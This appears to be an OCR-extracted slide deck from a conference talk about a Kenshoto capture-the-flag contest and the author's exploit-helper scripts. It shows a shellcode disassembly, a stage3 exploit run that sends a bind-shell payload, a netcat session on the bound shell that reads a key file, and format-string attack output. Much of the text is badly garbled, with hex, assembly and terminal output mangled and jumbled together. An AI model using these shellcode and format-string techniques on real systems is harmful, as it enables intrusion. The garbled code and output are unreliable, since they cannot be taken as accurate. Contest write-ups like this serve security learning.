| AxbfbfaTad: (e {ETE]efeleTETEle] e {ETE]eeleTETe]e] (e {ETE]eeleTETel] (e {ETE]eeIeTETE]e] gz:;t;:g:; ﬁﬂz:: :::;j_x
GxbfbfaTad: fedeleleleleTelele] feFeleleleeTelele] fedeleleTe[eTelele] e qelelele[eTelele] Gxbfbfega3:; push  %ecx
OxbfhfaTdd: [ER{ETE]EeIcTEER BxAG00E4TE Oxbfhfaten (e {ETE]eeleTeleled g Oxbfhfe0ad: int Hxda
GxbfbfaTcd: Gxbfbfad3a Gxbfbfad3a Gxi2a493ba feFdeleleleleTelele] = Gxbfhfesas:; dec %ecx
OxbfhfaTed: Gxbfhfaten BxAG0aE420 [ER{ETE]EeIcTEER Ox2809d3be 7 Oxbfhfe0a7: jnis Axbfhfeg9e
Gxbfbfal7d: GxbfbfaTsn BxQO0aEE420 e deleleleleTelele] Bx0505690 Bxbfhfe9a9; push  %eax
OxbfbfaTed: Bx9E909050 Bx96909050 Bx96909050 Bx9G909050 Gxbfbfefaa: push  AxEETI2F2F
Oxbfbfa7ad: Bx20505690 Bx0505690 Bx20505690 Gx205056593 & Bxbfbfedaf:; push  $AxGeRIE22f
12: ix feax = Gxl Oxhfbfaibd: maw  %esp,%bebx
11: ix $ebx = Gx2 Oxbfhfeabe: push  %eax
18: fx fecx = Gxd2l Oxbfhfeahk?: push  %esp
9: fx_:te-:lr FeluleIeT Oxbfhfeahba: push  %ebx
8 w1 dgp Axbfbfe7a6: nop Oxbfhfeahka: push  %ebx
igdb) ] Axbfhfedba: mov  fush, %al
Axbfbfedbe: int Fax20

Oxbfhfedbe; nap



0Ox1100 - Sex Port 6969 and the
Thrill of Conquest

atlas@arwen: /home/atlas/CTF-Kenshoto/stage3 § . /stage3hackplay-2.pl 192,168, 255.128 31337 1 10

AUTH: teaml9: gaMtigyosk: @ ¢

Ok

bacon: jaxXRhziaRBRBR]JIOSRIhXI® JIRSR LY JZXOWQIIyEPh/ /shh/bindPTSS"  Igéddcédgédgédgdédgéddcéd gédgddgéddgéddgddgéddddgédgddgddgddgdd g

atlas@arwen: /shome/atlas $ nc -v 192.168,255.128 31337
192,168, 255.128: inverse host lookup failed: Unknown host
(UMKMOWN]) [192.168.255.128] 31337 (?) open

1id

uid=1144(teaml9) gid=565(teams] groups=6&5(teams)

pwd

Jusr/home/teamls

cat shomesstage3skey

stage3="FakIuASBLx2vyXq7Z9WWpw=="




0x1200 - Stages 4-7

* Over the following weeks
* Mostly spent learning glibc artifacts
* stage4:. Byte-overrun BOF in “client”

* staged: FSE
* stage6: Hidden option: Careless fn ptr
* stage7. Precision-mismatch BOF

* clearenv()
* beabitch()



Ox1300 — The Future of atlas

*Reversing has now become an addictive habit

*| will likely continue until my fingers and eyes no
longer work

*b1nary pron.

* 0110010001101111011011010110010101100010011000010110001001111001



0x1400 — Intro to @UtilityBelt

* hacklib.pl and hacklib.py

* genshell.pl and genshell.py

* genformatstring.pl and genformatstring2.pl

* genformatstring.py

* disass.pl (v1.0)

* disass.py (v2.0)

* Several others: un64/en64, asciiZ2binary/etc...



0x1410 - hacklib.pl

*Just a way to make the exploit writing easier:
*"do hacklib.pl"

0x1411 - genshell

0x1412 - genNOP

0x1413 - print_hex _reverse
0x1414 - genformatstring
0x1415 - xw



0x1420 - hacklib.py

*Just a way to make the exploit writing easier:
*"Import hacklib"

0x1421 - genshell

0x1422 - genNOP

0x1423 - print_hex _reverse
0x1424 - genformatstring
0x1425 - xw



0x1430 - genformatstring.py

* Command-line access to “genformatstring()”
from hacklib.py

* genformatstring.py [--inline] <replaceaddy> <withaddy>
* Spits out some debugging data to <stderr>

atlas@arwen: /fhome/atlas/@UtilityBelt - Shell No. 2 - Konsole

~i= || il Shell No. 2 iiEihEH ..iEihE!” Mo, 3 iiEihE!” Mao. 4
atLlasi@arwen: fhome/atlas/@Ut1lityBelt § . fgenformatstring. py OxS042600 41414141
D2E42600 : 4141414] me - —— : - —
N o atlas@arwen: /home/atlas/@UtilityBelt - Shell No. 2 - Konsole HER
Four memory Location =
Reversed Hex: Q08604 [ _
Reversed Hex: @12604 atlas@arwen: fhomesatlas gUtilityBelt $§ echo -n "SHELLCODE" | . fgenformatstring. py --inline OxG4646464 41414141
Reversed Hex: GO23604) c4c46464 : 41414141
Reversed Hex: Q32604Q Format String to overwrite the four bytes at G4648464 with 41414141
%43 9x% 4 $rP%256x%SFn%25) Four memory locations of interest:

Revarsed Hex: B4545454

Revarsed Hex: BS54G454

Revarsed Hex: BEG45454

Reversed Hex: E7645464

ddddedddf dddgdddSHELL CODE: 4 0% 4 $rfs 256 2% 5P 250 %6256 % T snat Las@arven: fhome/atlas/@ut1lityBelt ¢ I

Aa|| ] shell No. 2 | | shell M| shell No. 3 M Shell No. 4 i




0x1440 - disass.pl

* Original version (1.0)

* Fast, simple

0x1441 - Assembly (or rather, disassembly)
0x1442 - Global Offset Table (GOT)
0x1443 - Headers

0x1444 - Symbols

0x1445 - Libraries

0x1446 - GDB helpers (breaks and display
settings ;)



0x1450 - disass.py

* New version (2.0) rewritten in Python

* Slower, more in-depth

0x1451 - Assembly (or rather, disassembly)
0x1452 - Global Offset Table (GOT)/PLT
0x1453 - Headers/Symbols/Libraries
0x1454 - DATA!

0x1455 - GDB helpers (breaks and display
settings ;)



0x1500 - Interesting Info and Links:

* Hacking: The Art of Exploitation

* ExploitX.org link
* http://www.exploitx.com/forum/azbb.php?1112286936
* Reversing: Secrets of Reverse Engineering

 atlas' potentially braindead tips to deadlisting.
* EIf File Format Specs:

* Gera's Insecure Programming exercises

* http://community.core-sdi.com/~gera/lnsecureProgramming/


http://refspecs.freestandards.org/elf/gabi4+/

0x1501 — More interesting links

* |A-32 Intel Architecture Software Dev Manuals


http://www.intel.com/design/pentium4/manuals/index_new.htm

Ox1600 - Thanks:

* God
* Family and Friends
* Work

e Kenshoto
e DC Staff



Ox1700 - Outtakes

 atlas' typing at 5am while sleeping... It's quite
intriguing how words really *WANT™ to appear!

cd 10 . add $0x10,%esp
45 ¢4 . Mo

— -

7 00 01 0 ) Mo

weren' [peledeor,

8048974, Sd c4 . mowv

2048077, 3 ec Oc . sub

8048974, Ff 75 eB . pushl

204897d . 2 16 fd ff ff . call 2048698 < 1n1t+0x10c>




